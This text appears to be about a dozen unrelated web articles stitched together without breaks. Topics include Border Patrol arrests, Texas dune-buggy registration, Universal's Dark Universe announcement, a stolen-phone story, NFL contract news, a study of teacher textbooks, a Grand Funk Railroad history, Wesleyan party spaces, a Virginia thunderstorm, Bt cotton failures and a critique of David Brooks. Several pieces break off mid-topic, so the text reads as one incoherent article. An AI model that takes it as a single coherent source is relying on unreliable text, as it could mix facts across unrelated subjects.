Oswaldo Bienvenido Galo-Garcia, 57, was apprehended on December 4 by agents assigned to the Eagle Pass Station after crossing the border illegally, according to information obtained by Breitbart Texas from U.S. Customs and Border Protection. While processing the illegal alien, agents used biometric identification and discovered Galo-Garcia had previously been deported after a June 1993 sexual offense involving a minor.
Law enforcement officials in Pharr, Texas, arrested Galo-Garcia and charged him with indecency with a child. At the time, Galo-Garcia used the alias “Alexander Lopez Jr.,” Border Patrol officials stated. He was convicted of the offense and sentenced to two years of probation. On September 25, 2015, ICE Enforcement Removal Operations (ERO) Agents deported Galo-Garcia back to his home country of Honduras.
Three days later, agents assigned to the nearby Brackettville Station arrested Oscar Omar Rivas-Izaguirre, 24, after he illegally crossed the border from Mexico. The background investigation by Border Patrol agents revealed the Honduran national was previously convicted in the United States on a sexual offense involving a minor. He was convicted in October 2013 on a charge of child-fondling, officials stated. ERO agents deported Rivas-Izaguirre on September 28, 2015 to Honduras.
“Two serious offenders were stopped short of possibly doing more harm to the people of this great nation,” Del Rio Sector Acting Chief Patrol Agent Matthew J. Hudak said in a written statement obtained by Breitbart Texas. “The commitment our Border Patrol agents have in keeping America secure is a continuous effort; and this is one more example.”
Both of the Honduran men may face new charges in the United States of illegal re-entry after deportation as a sex offender. If convicted, the men could be sentenced to spend up to twenty years each in a U.S. federal prison.
Over the past few years, the Texas Department of Motor Vehicles has cracked down on dune buggies, ostensibly for safety reasons. In 2013 the DMV stopped issuing new titles and registrations for dune buggies but reasonably grandfathered existing ones. But earlier this year the DMV began sending letters to grandfathered owners, saying that their vehicles are "designed for off-road usage and may not be legally operated for use on Texas streets or public roadways."
This is despite the fact that many dune buggies, such as the Meyers Manx that basically invented the dune buggy, are based on street-legal vehicles such as the Volkswagen Beetle. Adam Shaivitz, a spokesman for the Texas DMV, told Hemmings that "These vehicles, as modified from previously manufactured vehicles, also do not keep their on-road qualities." Yet that is often not the case, as buggies frequently keep all of the lights, seat belts, and other equipment necessary for the street. That's part of the fun of them.
Brand Logo to Debut in Theaters on The Mummy with All-New Musical Theme Composed by Four-Time Academy Award Nominee Danny Elfman
Oscar Winner Bill Condon as Director of Bride of Frankenstein, the Next Dark Universe Film, to be Released in February 2019
Dark Universe Reshapes Enduring Cinematic Characters for Today’s Audiences
Universal City, CA, May 22, 2017—Universal Pictures announced today that its series of films reviving the studio’s classic monster characters for a new generation will be known as “Dark Universe.” The motion logo for the new initiative features a musical theme composed by Danny Elfman and will debut in theaters preceding The Mummy, which will be released on June 9. The announcement includes details of the enterprise relaunching Universal’s iconic characters into modern cinema, as well as confirmations of superstar cast and that Academy Award winner Bill Condon will direct Bride of Frankenstein.
Dark Universe was begun by core creatives Alex Kurtzman, who also serves as director and producer of The Mummy, the inaugural film in the new classic monster series, and The Mummy producer Chris Morgan, who recently saw The Fate of the Furious, the sixth film he wrote for the Fast & Furious franchise, claim the biggest opening in history at the global box office when it opened on April 14. Also joining the enterprise to inspire and entertain a new generation are such visionary talents as Oscar winner Christopher McQuarrie (Mission: Impossible series, The Usual Suspects) and David Koepp (War of the Worlds, Jurassic Park).
“We take enormous pride in the creativity and passion that has inspired the reimagining of Universal’s iconic monsters and promise audiences we will expand this series strategically,” said Donna Langley, Chairman, Universal Pictures. “The enterprise masterfully developed by Chris and Alex will allow each subsequent chapter the right time to find the perfect cast, filmmakers and vision to fulfill it. As we launch Dark Universe with Danny’s provocative theme before The Mummy and collaborate with a brilliant filmmaker like Bill to weave the story of a very modern woman in a very classic tale, we feel confident we’re off to a tremendous start.”
“When Universal approached us with the idea of reimagining these classic characters, we recognized the responsibility of respecting their legacy while bringing them into new and modern adventures,” said Kurtzman and Morgan. “The studio and our fellow creative collaborators have championed and challenged us as we’ve begun to spin the web of Dark Universe. It’s our hope these movies will engross longtime fans and spark the imaginations of brand-new ones.”
From his first score on Tim Burton’s Pee-wee’s Big Adventure and his iconic theme for The Simpsons—not to mention his collaborations with filmmakers including Ang Lee, David O. Russell, Sam Raimi, Rob Marshall, Guillermo del Toro, Joss Whedon and Peter Jackson—four-time Academy Award® nominee Danny Elfman’s inimitable compositions have vaulted him into one of the most versatile and accomplished composers in history.
“I grew up on monsters,” said Elfman. “Monsters were my life, and these iconic Universal monsters were almost like my family. I simply wouldn’t be the same without them. When I got the opportunity to compose a theme for the Dark Universe logo, of course I jumped at it. What could be more fun than connecting to this world that has always been so deeply imbedded in my psyche? I tried to find something that was new but still had some connections with the past—the origins—at least in a subtle way. Something that was looking forward to a creative, fertile, imaginative future that Dark Universe will enter, and at the same time saluting the heritage of the tragic heroes (or anti-heroes) of my childhood. To the Monsters!!!!”
Bill Condon will follow his worldwide smash Beauty and the Beast, one of this year’s biggest hits—which crossed $1 billion at the global box office and became the most successful musical of all time—by directing Bride of Frankenstein, from a screenplay by Koepp. The next film from Dark Universe, Bride of Frankenstein will be released on Thursday, February 14, 2019.
Universal announced that it will not release a Dark Universe film as previously planned for April 13, 2018, and that Bride will instead be the next chapter in the unspooling series of movies following this year’s The Mummy. The actress chosen to play the lead role in Condon’s version of this timeless story will be announced soon.
“I’m very excited to bring a new Bride of Frankenstein to life on screen, particularly since James Whale’s original creation is still so potent,” stated Condon. “The Bride of Frankenstein remains the most iconic female monster in film history, and that’s a testament to Whale’s masterpiece—which endures as one of the greatest movies ever made.”
Dark Universe films will be distinguished by performances from some of the most talented and popular global superstars stepping into iconic roles, as well as electric new talents whose careers are starting to break through. While previously announced, the stars of both imminent and future Dark Universe projects are gathered for the first time in the attached photo: The Invisible Man and Frankenstein’s Monster will be played by, respectively, blockbuster icon Johnny Depp and Academy Award winner Javier Bardem, who appear together later this summer in Pirates of the Caribbean: Dead Men Tell No Tales. Those actors join superstar Tom Cruise as soldier of fortune Nick Morton and Oscar® winner Russell Crowe as Dr. Henry Jekyll, who lead the all-star cast of The Mummy, along with Sofia Boutella, the actress who embodies the title role in that film.
At its organizing principle, Dark Universe films are connected by a mysterious multi-national organization known as Prodigium. Led by the enigmatic and brilliant Dr. Henry Jekyll, Prodigium’s mission is to track, study and—when necessary—destroy evil embodied in the form of monsters in our world. Working outside the aegis of any government, and with practices concealed by millennia of secrecy, Prodigium protects the public from knowledge of the evil that exists just beyond the thin membrane of civilized society…and will go to any length to contain it. To learn more about Dark Universe and Prodigium, visit www.DarkUniverse.com and www.WelcometoProdigium.com.
Welcome to a new world of gods and monsters. Welcome to Dark Universe.
About Universal Pictures
Niklaus Knecht has his smartphone stolen on a train in Switzerland
Now hopes to track down Moroccan girl who appears on photos
Believes that Moroccan girl bought his phone from whoever took it
A romantic Swiss student who had his smartphone stolen has promised the young woman who ended up with the device that she can keep it, if she agrees to meet up with him.
Niklaus Knecht, 24, realised his phone had ended up in the hands of a pretty girl living in Morocco after she started using it as a camera, unaware that the phone's picture upload function was still switched on.
The smartphone was stolen in April of this year when he was on a train heading to Zurich in Switzerland and had dozed off, waking up to find that someone had sliced open his jacket pocket.
The unknown girl pictured relaxing in a park, Mr Knecht wants to meet up with her, and says she can keep the phone
A Swiss student who had his smart phone stolen has promised the young woman who ended up with the device that she can keep it if she agrees to meet him
He bought a new one and forgot about his old handset, expecting to never see it again until suddenly pictures of the young girl and snaps taken by her started turning up in his dropbox.
Some of the pictures are relatively mundane, such as snaps from her student study plan, but others show what could be family members in traditional Moroccan dress.
But the photographs that caught Mr Knecht's attention show the girl herself, sometimes lying on a bed, other times showing off new clothes such as a new dress or posing by romantic backdrops such as a waterfall or in a park.
The girl is shown relaxing around her home, and cuddling up to a teddy bear with the words 'I love you' on it
In another picture she has a cuddly teddy with the words 'I love you', and others are simply snaps from everyday life smoking a cigarette on the beach or cooking some of her favourite dishes.
He said: 'She obviously doesn't realise that all the pictures she is taking are ending up in my dropbox and it's a pretty good general view of an everyday life in Morocco.'
He added: 'I am really keen to find out who she is and more about her. I'd like to meet her and am prepared to travel to Morocco to see her.
'I think it would be interesting to find out how she ended up getting the phone, although I'm sure she had nothing to do with the original theft.
Close encounter: The girl has taken many photographs, including close-ups such as this one. But will she get close to the phone's original owner?
'I guess she simply bought it from whoever did steal it.'
Mr Knecht and his friend Alex Moshovelis have now set up a Facebook site in the hope that the girl will get in touch and they have uploaded some of her snaps.
He said: 'I can see that some 13,000 people in Morocco have looked at the Facebook page so I'm fairly confident that somebody will be able to identify her or one of the people from the hundreds of snaps she's uploaded on the phone.
'It would be great to meet her and of course she's welcome to keep the phone.
The Patriots and cornerback Brandon Browner may be parting ways.
New England has a decision to make on Browner’s option for the 2015 season and recent chatter has indicated that they’d like to rework his deal to cut his cap number of $4.8 million before inviting him back for a second season. As part of that process, they allowed Browner to gauge interest elsewhere in the league.
It looks like Browner found some. Albert Breer of NFL Media reports that Browner will not take a pay cut, leaving the ball in New England’s court with not much time left before he’ll be due a $2 million roster bonus. That decision may be tied to Darrelle Revis, as the Patriots will get all $4.8 million of cap space to use if they move on from Browner.
Most first-year teachers are decidedly less effective than even second-year teachers (see figure), prompting an important policy question: “How can this learning curve be reduced?”
It might be tempting to conclude good teaching is something that cannot be taught, which means on-the-job training is the best we can do and the learning curve is here to stay. Alternatively, maybe our teacher training programs could do better at conveying the most recent advances in the science of learning. We set out to on a project that explores this latter alternative.
Following on the heels of similar studies we’ve done on reading, mathematics and classroom management, a new NCTQ study Learning about Learning, finds little evidence that scientific advancements can be found in the coursework, specifically in the textbooks that are required reading, taken by aspiring teachers. The field of cognitive psychology has grown at warp speed over the last few decades. And, we would contend, there is no other subject that could benefit struggling teachers more.
Our methodology was straightforward and so were the results. To identify the knowledge teachers would want to help them design their instruction, we looked to a 2007 publication from the Institute of Education Sciences, in which a team of experts led by Dr. Hal Pashler of the University of California San Diego rigorously reviewed hundreds of studies. They found only a half dozen “fundamental instructional strategies” which have strong to moderate levels of evidence in studies that meet the rigorous standards set by IES, which they present in a great “practice guide” for educators. These strategies would benefit any teacher’s instruction – no matter what subject or grade level being taught.
Our analysts then combed a representative sample of 48 textbooks, looking for the smallest of references to any of these strategies (the list of textbooks can be found here). The sample included many widely circulated textbooks—three educational psychology texts were among the top five best sellers on Amazon.
What we learned was depressing. Not even one of the textbooks in the sample accurately describes all six instructional strategies…or five…or four…or even three. Roughly one in three of the textbooks that were read page for page failed to cover a single one. Most covered one or two. Whether the textbook was published before or after the IES guide made no difference in terms of coverage, even for the most recent editions of six textbooks in the sample, evaluated for the sole purpose of pinning down this conclusion. In any case, half of the studies supporting the six strategies were published before 2000.
There’s another aspect to what we learned about these textbooks which we haven’t given much play elsewhere, but which this audience might appreciate. The quality of references in most of the textbooks would likely not meet the standards of other professional training fields. Two-thirds of the supporting references direct readers only to a book without even a page number (imagine medical texts passing muster recommending a protocol supported by an ambiguous reference such as Your Spine and You, 2000. Chicago: Doubleday). More than half of the textbooks we reviewed cite none of the best studies on the topic, those same studies identified by IES.
Teacher candidates ought to get some value for the $40 million we estimate they are spending on these textbooks each year. There’s no evidence that they are irrelevant requirements in the courses that use them. From syllabi for the coursework from which the textbook sample was derived, we can see that teacher educators clearly use them to organize their teaching and assign regular readings from them each class. There were also virtually no instances of high quality supplemental readings accomplishing what the textbooks could not (such as the ideally suitable IES practice guide itself).
In light of their importance, you’d think publishers would be holding up and channeling knowledge that stands up to scientific scrutiny. No, it appears they are taking a pass and they’re giving their authors a pass on meeting standards that are common practice in any other field. So too are the peer reviewers chosen by these publishers who are routinely giving thumbs up to substandard texts.
Apple officially began accepting preorders for the new Apple TV Monday. CEO Tim Cook recently said that devices would start to ship to consumers by the end of the week.
History [ edit ]
Formation (1969) [ edit ]
The band was formed as a trio in 1969 by Mark Farner (guitar, vocals) and Don Brewer (drums, vocals) from Terry Knight and the Pack, and Mel Schacher (bass) from Question Mark & the Mysterians. Knight soon became the band's manager, as well as naming the band as a play on words for the Grand Trunk Western Railroad, a well-known rail line in Michigan. First achieving recognition at the 1969 Atlanta International Pop Festival I, the band was signed by Capitol Records. After a raucous, well-received set on the first day of the festival, the group was asked back to play at the 1970 Atlanta International Pop Festival II the following year. Patterned after hard-rock power trios such as Cream, the band, with Terry Knight's marketing savvy, developed its own popular style. In August 1969, the band released its first album titled On Time, which sold over one million copies, and was awarded a gold record in 1970.[4]
In February 1970, a second album, Grand Funk (or The Red Album), was awarded gold status.[4] Despite critical pans and a lack of airplay, the group's first six albums (five studio releases and one live album) were quite successful.
Early 1970s [ edit ]
The hit single "I'm Your Captain (Closer to Home)", from the album Closer to Home, released in 1970, was considered stylistically representative of Terry Knight and the Pack's recordings. In 1970, Knight launched an intensive advertising campaign to promote the album Closer to Home. That album was certified multiplatinum despite a lack of critical approval.[4] The band spent $100,000 on a New York City Times Square billboard to advertise Closer to Home.[5] By 1971, Grand Funk equalled the Beatles' Shea Stadium attendance record, but sold out the venue in just 72 hours whereas the Beatles concert took a few weeks to sell out.[6] Following Closer to Home, Live Album was also released in 1970, and was another gold disc recipient.[4] Survival and E Pluribus Funk were both released in 1971. E Pluribus Funk celebrated the Shea Stadium show with an embossed depiction of the stadium on the album cover's reverse.
By late 1971, the band was concerned with Knight's managerial style and fiscal responsibility. This growing dissatisfaction led Grand Funk Railroad to fire Knight in early 1972. Knight sued for breach of contract, which resulted in a protracted legal battle. At one point, Knight repossessed the band's gear before a gig at Madison Square Garden. In VH1's Behind the Music Grand Funk Railroad episode, Knight stated that the original contract would have run out in about three months, and that the smart decision for the band would have been to just wait out the time.[7] However, at that moment, the band members felt they had no choice but to continue and fight for the rights to their careers and name.
In 1972, Grand Funk Railroad added Craig Frost on keyboards full-time. Originally, they had attempted to attract Peter Frampton, late of Humble Pie; however, Frampton was not available, due to signing a solo-record deal with A&M Records. The addition of Frost, however, was a stylistic shift from Grand Funk's original garage-band based rock and roll roots to a more rhythm and blues/pop rock-oriented style. With the new lineup, Grand Funk released Phoenix, its sixth album of original music, in 1972.[8]
To refine Grand Funk's sound, the band secured veteran musician Todd Rundgren as a producer. Their two most successful albums and two number-one hit singles resulted: the Don Brewer-penned "We're an American Band" (from We're an American Band) and "The Loco-Motion" (from Shinin' On, written by Carole King and Gerry Goffin and originally recorded by Little Eva). The album We're an American Band topped out at number two on the charts. "We're an American Band" was Grand Funk's first number-one hit, followed by Brewer's number-19 hit "Walk Like a Man". "The Loco-Motion" in 1974 was Grand Funk's second chart-topping single, followed by Brewer's number-11 hit "Shinin' On". The band continued touring the U.S., Europe, and Japan.[9]
In 1974, Grand Funk re-engaged Jimmy Ienner as producer and reverted to using their full name: Grand Funk Railroad. The band released the album All the Girls in the World Beware!!!, which depicted the band members' heads superimposed on the bodies of Arnold Schwarzenegger and Franco Columbu. This album spawned the band's last two top-10 hits, "Some Kind of Wonderful" and "Bad Time".
Although they were highly successful in the mid-1970s, tensions mounted within the band due to personal issues, burn-out, and disputes over musical direction. Despite these issues, Grand Funk forged ahead. Needing two more albums to complete their record deal with Capitol, Grand Funk embarked on a major tour and decided to record a double live album, Caught in the Act.
The double album should have fulfilled the contract with Capitol; however, because it contained previously released material, Capitol requested an additional album to complete Grand Funk's contractual obligation. While pressures between the band members still existed, the members agreed to move forward and complete one more album for Capitol to avoid legalities similar to the ones that they endured with Terry Knight in 1972. The band recorded Born to Die and agreed not to release any information regarding their impending breakup in 1976.[10]
However, Grand Funk found new life from interest by Frank Zappa in producing the band. Signing with MCA Records, the resulting album Good Singin', Good Playin' yielded little success. After this, Grand Funk Railroad decided once more to disband in 1976.[11]
Late 1970s and 1980s [ edit ]
Following the breakup, Farner began a solo career and signed with Atlantic Records, which resulted in two albums: Mark Farner (1977) and No Frills (1978). Brewer, Schacher, and Frost remained intact and formed the band Flint. Flint released one album on Columbia Records; a second record was finished but never released. Grand Funk Railroad reunited in 1981 without Frost and with Dennis Bellinger replacing Schacher on bass.
The new line-up released two albums on Irving Azoff's Full Moon label, distributed by Warner Bros. Records. These releases included 1981's Grand Funk Lives and 1983's What's Funk?. Neither album achieved much critical acclaim; but the single "Queen Bee" was included in the film Heavy Metal and its soundtrack album. After they disbanded a second time in 1983, Farner continued as a solo performer and became a Christian recording artist and Brewer went on to tour with Bob Seger's Silver Bullet Band.[12]
1990s and 2000s [ edit ]
In 1996, Grand Funk Railroad's three original members once again reunited and played to 250,000 people in 14 shows during a three-month period. In 1997, the band played three sold-out Bosnian benefit concerts. These shows featured a full symphony orchestra that was conducted by Paul Shaffer (from the David Letterman Late Show). The band released a live two-disc benefit CD called Bosnia recorded in Auburn Hills, Michigan. This recording also featured Peter Frampton, who joined the band on stage. In 1998, Farner left the band and returned to his solo career.
In 2005, Grand Funk Railroad was voted into the Michigan Rock and Roll Legends Hall of Fame.[13]
After this, two years passed before the two remaining members recruited some well-regarded players to reform the band. Lead vocalist Max Carl (of 38 Special), former Kiss lead guitarist Bruce Kulick, and keyboardist Tim Cashion (Bob Seger, Robert Palmer) completed the new lineup.
Grand Funk Railroad continues to tour and kicks off their, "The American Band Tour 2019", "Celebrating 50 Years of Funk", tour on January 17, 2019.[14]
Members [ edit ]
Timeline [ edit ]
Discography [ edit ]
Studio albums [ edit ]
References [ edit ]
The most commonly voiced concern in talking about closing campus fraternities has been ensuring that students feel safe and comfortable in all spaces on campus. But recently a different question has caught people’s attention: Where should people congregate on weekends?
DKE, Beta, and Psi U, which until last year housed their members in mansions on High Street, are three of the biggest houses on campus and therefore were popular places for hosting events. In addition to hosting themed parties, the frat houses also held benefits, concerts, and art events. The traditional Top 40 concert with student performers, for example, which attracted a diverse and teeming mass of people, typically happened in DKE. Last year, members of Second Stage directed the musical “Cabaret” and set it in Psi U’s large main room; “Eye Contact,” a performance that confronted racial issues, also occurred in Psi U.
So what happens when you erase three of the biggest social spaces on campus with no replacement?
“I think the program houses that were known for hosting events before all of this happened will probably try to step up and host more,” said Linnie Halpern ’18, House Manager of the Bayit. “There are program houses that have never really been known to host events, and I don’t know if they’ll suddenly start to host events.”
Earth House, which successfully hosted events fairly regularly last year, is an example of a program house that may continue to do so.
While The Bayit has a large main room, Halpern explained, she does not anticipate it to accommodate large parties.
“There is a big space, but it’s where Shabbat services are held, so people might feel weird having a rager in there,” she said.
Anna Apostolidis ’19 does not know what campus was like with residential fraternities. She explained that her weekend destinations have been mixed, but that the most fun party she has attended this year was at the Bayit.
“I’m just a freshman though, so I just follow my roommate everywhere,” she added.
What about Eclectic and Alpha Delt? The two coeducational societies certainly provided a few large parties last year. But perhaps given what has happened to the other houses and the drug-related events that occurred last year, the last two Greek houses standing are nervous about hosting big events, and neither one is the same buzzing social hub that it once was.
Because program houses tend to be small and have smaller focuses that bring people there, they have always seemed to attract a slightly different crowd from the masses that would go to fraternities. Besides, while Eclectic and Alpha Delt have large, central spaces that can accommodate hundreds of guests, the other program houses are not meant—or allowed—to host masses of people. That capacities were drastically lowered this year stands as a testament to this.
“If I had to summarize the social scene at Wesleyan this year, it would be ‘outside,’” said Matt Siegelman ’16, a member of Psi U.
The senior houses on Fountain and their backyards have also always drawn large crowds on Friday and Saturday nights. But there has been a shift here, as well: People seem to head directly to the Fountain backyards this year, whereas last year they tended to eventually congregate at senior houses after going to other events.
“It’s fun now, because it’s nice out and everyone can congregate outside,” said Isabelle King ’16. “Not much else is going on, so when you go to Fountain you see everyone you know.”
Alexis Concordia ’16 agreed with this sentiment, adding that the full impact of the frats’ shutting down will be much more apparent in the winter.
Siegelman noted that the parties on Fountain have been unusually fun so far. His friends are not spread out at other events on campus, and PSafe has not been as quick to shut gatherings down.
“The fact that PSafe has been lax about capacities on Fountain is nice, because there is a lot more autonomy and less concern, but it makes you think the administration has already had a conversation about lack of social spaces,” Siegelman said.
Perhaps, though, Fountain’s emergence as the main event of the night on weekends is detrimental to underclassmen—especially the ones that do not personally know seniors. Some freshmen, such as Sammy Stephen ’19, say they do not feel welcome.
“I haven’t gone [to Fountain parties] because I haven’t heard much about it,” Stephen said. “I wasn’t sure if it was invite only.”
King said that people like Stephen may might not be entirely wrong in that belief.
“There have been many times when I have been in a Fountain house and a group of loud freshmen barges in assuming there is a party,” King said. “It can be awkward.”
For those who choose to forgo Fountain for a program house, things can be just as unfortunate. Halpern recalled a recent event at Art House.
It surely boasts a significant wow factor, taking its name from a natural phenomenon that takes place around the polar areas – the Aurora Borealis. Furthermore, it also represents the Roman goddess of dawn who flies all over the skies every morning, acting as a herald of the sun’s arrival.
The CuteCircuit workshop is currently based in London and works under strict conditions regarding nature-protection. They are working with eco-safe materials, complying with the 100-percent Restriction of Hazardous Substances technology. They also use Oeko-Tex-certified materials, which are welcome pluses.
In London they do the actual designing of the exquisite clothing, while the manufacture is realized in Italy, the United States or even within the United Kingdom. This particular dress’s purpose was to be used in opera performances, as the British brand states.
In our opinion, they’re more suitable for fancy parties and theater-plays where weirdo-women are involved. But, overall, it’s quite trendy, sexy and we like it.
A super-tall thunderstorm erupted in Northern Virginia on Thursday, its cloud top rising nearly 60,000 feet into the atmosphere.
The storm took on the appearance of a massive UFO, sometimes called a “mothership” because of its resemblance of a giant flying saucer streaking across the sky. We often see “mothership” photos from storm chasers in the Plains, but not so much in Fairfax, Va.
The storm unleashed damaging wind gusts that downed trees and produced hail up to one inch in diameter.
How did it develop?
To get storm clouds this high, what’s needed is a vigorous cloud updraft or multiple updrafts, which are fed by highly buoyant air from near the surface. With Thursday’s sun-baked temperatures in the low 90s and copious humidity, the atmosphere became quite unstable and was amenable to “overturning” through a very deep layer. There was plentiful buoyant energy stored up and then released in the atmosphere — about 40 to 50 percent more than what we typically experience on “ordinary” thunderstorm days.
The masive storm has tops to 60K feet. Very high for this area. Threats: hail, damaging winds & heavy rain. @wusa9 pic.twitter.com/fFa64OoghK — Topper Shutt (@TenaciousTopper) May 19, 2017
The problem with a small, isolated storm cell is that relatively drier and cooler air from mid-levels of the atmosphere can mix in from the sides, diluting some of that buoyancy that tries to make the cloud rise so high (we meteorologists call this process “entrainment”). But the enormous thunderstorm complex that developed over Northern Virginia was effectively a giant cylinder of moisture-laden air that shielded its core updrafts from buoyancy-robbing, drier air. Those interior updrafts pushed cloud tops to limits not often seen in this area.
@capitalweather @jenn_wurz Here's a view of the storm from space (#GOES16) – gorgeous, just like the photos! (data preliminary and non-operational) pic.twitter.com/a7f1qGsIpT — Dan Lindsey (@DanLindsey77) May 19, 2017
Below see amazing views of the storm from all across the region:
An absolutely STUNNING picture of strong #supercell storm currently pushing through northern Virginia. Sent in by @0IIIIIII0_GIRL #StormHour pic.twitter.com/2FVmSf26oR — Mike Thomas (@MikeTFox5) May 19, 2017
Amazing structure in supercell in NOVA! https://t.co/LWowsFD89H — NOVA_WX_CENTER (@KubaStan11) May 19, 2017
Should’ve x-posted from IG but interesting cloud here (WVa, 30 min from Hagerstown, MD) cc @capitalweather pic.twitter.com/lrKTLZ9P7H — @seoulfully (@seoulfully) May 19, 2017
Got a pretty sweet view of the anvil from that thunderstorm over NOVA all the way up here in Harrisburg. @capitalweather #VAwx pic.twitter.com/1d9hA0bBNh — Michael Lowe (@tomalak55) May 19, 2017
A strong thunderstorm moves toward Fairfax, Va., Thursday evening. (Jason Maturo)
Thunderstorm seen from Gainesville, Va., May 18, 2017. (Jed Kane via Facebook)
Thunderstorm seen from Woodbridge, May 18, 2017. (Adriana Lloyd via Facebook)
Thunderstorm seen from Fairfax, May 18, 2017. (Katherine Winters via Facebook)
Thunderstorm seen from Woodbridge, May 18, 2017. (Leigh Fitzgerald via Facebook)
Thunderstorm, May 18, 2017. (Edward McPike Jr. via Facebook)
Out for a walk in Springfield. What do you think? Alien attack? @capitalweather pic.twitter.com/tQGbG7C0M5 — Morgan J. Norwood (@MorganMakesArt) May 19, 2017
Pretty intense looking shelf cloud rolling into Manassas Park right now @capitalweather @suepalkafox5dc pic.twitter.com/OUkJPJkl83 — Lacy Jackson (@lacyluu) May 18, 2017
Looks like "we're gonna have some weather", as my grandma used to say. :)@capitalweather pic.twitter.com/pQ3LIJ6ii3 — Stephanie (@DC_Rower) May 18, 2017
Nice Independence Day doom cloud spreading back south from the storm to the north. Cc: @capitalweather pic.twitter.com/HQpBdqOMCI — carencey (@carencey) May 18, 2017
World over food recalls and voluntary withdrawals are a common phenomenon. In the US, the Food and Drug Administration (FDA) as well as the US Department of Agriculture (USDA) have been regularly issuing alerts that have forced food companies to withdraw its misbranded and contaminated products. Pharmaceuticals and dietary supplements too have witnessed massive recalls in the past few years.
Indian drug maker Ranbaxy was twice forced to withdraw its products from the US market besides being made to pay a penalty of $ 500 million. In a first-ever recall of a genetically-modified (GM) food product, the US-based Star Link was forced to recall over 300 of its products that was found to be carrying traces of GM corn which was not approved for human consumption. Taco shells manufactured by Kraft Foods and found to be contaminated with GM corn were also withdrawn with $ 60 million going in settlement. These are only a few of the prominent recalls the world has witnessed. The list is otherwise endless.
More recently, nearly 7 million cars have been recalled in the United States after a defective airbag and propellant device supplied by a Japanese manufacturer Takata, and fitted in cars of nearly two dozen popular brands, were detected. So far there have been two deaths and 139 reported injuries across all brands. According to news reports, some 34 million vehicles in the US are potentially affected. Volkswagen alone had to recall 680,000 vehicles in the US over airbag problems. In India, the Consumer Protection Act, 1986, provides adequate protection to consumers. It does ensure that a manufacturer does not sell a product that suffers from a major defect, ensures proper service and can be hauled up for excessive pricing, unfair trade practices or restrictive trade practices. But when it comes to seeds, the law is not as clear as it is for any other manufactured product. The existing provisions have been used by farmers at several places to get compensation for lack of germination but in several cases the seed companies have managed to wriggle out leaving the state governments to take on the liability.
This brings me to the failure of genetically-modified Bt cotton seeds to control the dreaded pink bollworm pests in cotton. In an affidavit filed on Jan 23 before the New Delhi High Court, the Ministry of Agriculture stated: “Pink boll worm, a major pest of the cotton crop, has already developed resistance in the last 2-3 years; farmers are a worried lot having sown Bt cotton seeds purchased at high prices.” Seeking a reduction in royalty payments to Mahyco Monsanto Biotech India Pvt Ltd (MMBL), which has a near monopoly on Bt cotton seeds, what the government was merely seeking was the right to regulate prices for farmers at a time when the efficacy of the crop variety goes down.
Even if the royalty amount is reduced it would still make the Bt cotton varieties anyway effective to withstand the insect attack against which it was earlier resistant. Reports The Times of India (Feb 13, 2016): “State governments have begun to issue notices to domestic trade channel partners of American seed giant Monsanto, citing failure of latter’s GM cotton that was supposed to be pest resistant but is now being attacked by the same pests.” Accordingly, these seed companies, which have come together under the banner National Seed Association of India (NSAI) in turn, are questioning Monsanto, which in turn is blaming farmers for not following the correct farm practices. This tug of war will continue while farmers continue to suffer. In 2009, Monsanto had accepted pink boll resistance to its first-generation Bt cotton – containing one Bt gene. This was replaced by the second-generation called Bollgard-II – containing two Bt genes -- and therefore providing more ‘robust’ protection. The Nagpur-based Central Institute of Cotton Research meanwhile detected pink bollworm developing resistance to Bollgard-II in October 2015. When confronted, a spokesperson for Monsanto replied:”the resistance is a natural, evolving process.”
It took four years for the insects to develop resistance to the first generation Bt cotton after it was commercially released in 2006. In another 5-6 years, the second generation Bollgard-II also developed resistance. The failure of Bt cotton to withstand the fury of insect attack against which it was supposed to be resistant has only aggravated the prevailing farm distress.
David Brooks is sweating hard trying to defend the one percent against the rest of the country and reality. His column today desperately warns readers:
"Some on the left have always tried to introduce a more class-conscious style of politics. These efforts never pan out. America has always done better, liberals have always done better, when we are all focused on opportunity and mobility, not inequality, on individual and family aspiration, not class-consciousness."
Funny, I thought Social Security, the Fair Labor Standards Act (i.e. the 40-hour workweek), the National Labor Relations Board, and other products of the New Deal were pretty big accomplishments. Much of this was done quite explicitly with a sense of class consciousness. These were all measures that were backed by mass movements that sought to ensure that working people got their share of the economic pie. Good thing we have David Brooks to tell us the opposite.
This is far from the only place where Brooks seems to be at odds with reality. Brooks condemns focusing on inequality because it leads to ineffective policies like raising the minimum wage. He then cites a study by Joseph J. Sabia and Richard V. Burkhauser telling readers:
"Consistent with some other studies, they find no evidence that such raises had any effect on the poverty rates.
"That’s because raises in the minimum wage are not targeted at the right people."
Actually the Sabia and Burkhauser study goes against the overwhelming majority of other studies on the topic as summarized in this analysis by University of Massachusetts professor Arin Dube.
Brooks also warns us:
"Third, the income inequality frame contributes to our tendency to simplify complex cultural, social, behavioral and economic problems into strictly economic problems (italics in original).
"There is a very strong correlation between single motherhood and low social mobility. There is a very strong correlation between high school dropout rates and low mobility. There is a strong correlation between the fraying of social fabric and low economic mobility. There is a strong correlation between de-industrialization and low social mobility."
Actually the problem of single motherhood is a problem of the United States providing inadequate support for child raising. Many other wealthy countries higher percentages of children born out of wedlock and the percentage of children in single parent families in the U.S. is not that much out of line with the average for other wealthy countries. However no other wealthy country has a poverty rate for children that is remotely comparable. Rather than fixing our system of social supports such as guaranteeing paid family leave and sick days and childcare, Brooks wants big government to tell people who they should live with and love.
It's not clear what social fabric Brooks thinks is fraying. The percentage of children in single-parent families has actually largely stabilized in the last three decades. The percentage of teen mothers is way down as is the crime rate. The high school graduation rate is way up. These changes have not been reflected in improved conditions for those at the bottom as minimum wage workers are more educated and experienced than ever.
As much we might want to take David Brooks' plea for considering complex cultural, social, and behavioral problems, de-industrialiation looks pretty much like a good old-fashioned economic problem. An over-valued dollar makes our goods uncompetitive internationally. If the currency is over-valued by 20 percent it is roughly equivalent to having a 20 percent tariff on all U.S. exports and a 20 percent subsidy on imports. In addition, if we have trade agreements that expose manufacturing workers to competition with low-paid workers in the developing world, while largely protecting highly paid professionals like doctors and lawyers, then we will have a serious problem of deindustrialization. That's pretty much economics 101, it's hard to see why any bigger explanation is needed on this one.
In fact Brooks tells us we have the story all wrong in seeing the dismal plight of the bulk of the population as being in any way linked to the riches of the one percent, who he politely hides behind the next four percent of the income distribution. Brooks tells us that the incredible wealth of the top one percent is a different story from the problems faced by the rest of us.
"At the top end, there is the growing wealth of the top five percent of workers. This is linked to things like perverse compensation schemes on Wall Street, assortative mating (highly educated people are more likely to marry each other and pass down their advantages to their children) and the superstar effect (in an Internet economy, a few superstars in each industry can reap global gains while the average performers cannot)."
